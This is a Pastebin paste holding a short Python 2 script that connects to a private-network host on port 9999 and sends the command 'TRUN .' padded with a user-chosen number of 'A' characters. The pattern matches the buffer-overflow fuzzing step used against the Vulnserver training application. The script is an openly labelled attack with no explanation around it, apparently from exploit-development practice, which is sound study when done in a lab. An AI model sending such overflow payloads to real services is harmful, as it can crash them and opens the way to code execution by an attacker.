Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- server = '172.16.254.247'
- sport = 9999
- length = int(raw_input('Length of attack: '))
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connect = s.connect((server, sport))
- print s.recv(1024)
- print "Sending attack length ", length, ' to TRUN .'
- attack = 'A' * length
- s.send(('TRUN .' + attack + '\r\n'))
- print s.recv(1024)
- s.send('EXIT\r\n')
- print s.recv(1024)
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement